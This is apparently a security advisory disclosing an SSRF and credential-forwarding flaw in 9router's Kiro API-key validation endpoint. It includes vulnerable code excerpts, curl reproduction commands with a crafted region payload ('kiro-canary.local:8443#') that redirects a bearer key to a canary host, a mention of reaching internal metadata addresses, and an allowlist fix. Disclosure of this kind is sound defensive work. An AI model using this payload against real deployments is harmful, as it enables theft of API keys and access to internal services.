The Kiro API-key validation endpoint builds an upstream URL using a user-controlled
region value. By supplying a crafted region such as kiro-canary.local:8443#, an
authenticated attacker can cause 9router to send the Kiro validation request to an
attacker-controlled host under the constructed codewhisperer.<region> hostname. The
request forwards the submitted Kiro API key as an Authorization: Bearer header.
5da508a.POST /api/oauth/kiro/api-key.region: "kiro-canary.local:8443#".@host# payload (region: "@kiro-canary.local:8443#"); it is
blocked by Node/undici fetch() because it creates URL credentials
("Request cannot be constructed from a URL that includes credentials").codewhisperer.kiro-canary.local:8443
(the # turns the trailing .amazonaws.com into a URL fragment).Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO.NODE_EXTRA_CA_CERTS.SameSite=Lax on the session cookie prevents cross-site POST cookie delivery, so do
not claim drive-by CSRF unless another same-site / auth-bypass primitive is
chained.Root cause. The route reads region straight from the request body and passes it,
unvalidated, into the upstream URL template; the bearer credential is forwarded to that
host, and the upstream response body is reflected back to the client on error:
// src/app/api/oauth/kiro/api-key/route.js
const { apiKey, region } = await request.json();
...
const credential = await kiroService.validateApiKey(apiKey, region || "us-east-1");
...
} catch (error) {
return NextResponse.json({ error: error.message }, { status: 500 }); // reflects upstream body
}
// src/lib/oauth/services/kiro.js — listAvailableProfiles()
const endpoint = `https://codewhisperer.${region}.amazonaws.com`; // region interpolated
const response = await fetch(endpoint, {
method: "POST",
headers: {
"x-amz-target": "AmazonCodeWhispererService.ListAvailableProfiles",
"Authorization": `Bearer ${accessToken}`, // credential forwarded
...
},
body: JSON.stringify({ maxResults: 10 }),
});
if (!response.ok) {
const error = await response.text();
throw new Error(`Failed to list profiles: ${error}`); // upstream body -> error.message
}
There is no allowlist on region, and the call uses the default fetch dispatcher (no
internal-IP denylist / DNS pinning), so a codewhisperer.<attacker-domain> that resolves
to an internal address (e.g. 169.254.169.254 or RFC1918) would be reached.
Start the package:
docker compose up --build
The endpoint is authenticated, so first obtain a dashboard session using the password
configured in docker-compose.yml (INITIAL_PASSWORD), saving the cookie:
curl -i -c session.txt -X POST http://127.0.0.1:18184/api/auth/login \
-H "Content-Type: application/json" \
-d '{"password":"repro-dashboard-pass"}'
Then send the region-injection request with that session cookie:
curl -i -b session.txt -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \
-H "Content-Type: application/json" \
-d '{"apiKey":"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO","region":"kiro-canary.local:8443#"}'
Expected:
docker compose logs kiro-canary shows a request with:
Host: codewhisperer.kiro-canary.local:8443Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRONo-auth control (no session cookie):
curl -i -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \
-H "Content-Type: application/json" \
-d '{"apiKey":"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO","region":"kiro-canary.local:8443#"}'
Expected: 401 Unauthorized.
Safe-region control (region: "us-east-1"): no canary hit; the blackholed AWS host is
never contacted.
An authenticated attacker can make the server send a Kiro validation request to an attacker-controlled host and forward the submitted Kiro API key in the Authorization header. This can be used for SSRF and credential forwarding during Kiro API-key validation. The issue is authenticated as a standalone bug.
The following screenshots show the safe-region control, the region-injection SSRF trigger, the HTTPS canary evidence, and the no-auth control.
An authenticated request to
/api/oauth/kiro/api-keyusing the valid regionus-east-1and a dummy API key completes normally with200 OK. This establishes the expected non-malicious validation path.
An authenticated request supplies the crafted region value
kiro-canary.local:8443#. Because the upstream URL is built from the rawregionvalue, the request is routed to the attacker-controlled canary host under the constructedcodewhisperer.<attacker-domain>hostname. The response contains a canary marker, confirming the server-side request reached the controlled endpoint.
The HTTPS canary logs show a server-side request from the 9router container with
Host: codewhisperer.kiro-canary.local:8443andAuthorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO. This confirms that the injected region controls the constructed upstream host and that 9router forwards the submitted Kiro API key to that host.
The same region-injection payload is sent without an authenticated session cookie, and the server returns
401 Unauthorized. This confirms the issue is authenticated as a standalone vulnerability and should not be described as unauthenticated unless it is chained with a separate authentication bypass.
region against a strict allowlist of known Kiro/AWS regions
(e.g. ^[a-z]{2}-[a-z]+-\d$).error.message.{
"cwe_ids": [
"CWE-20",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-23T18:12:30Z",
"nvd_published_at": "2026-07-15T21:16:55Z",
"severity": "MODERATE"
}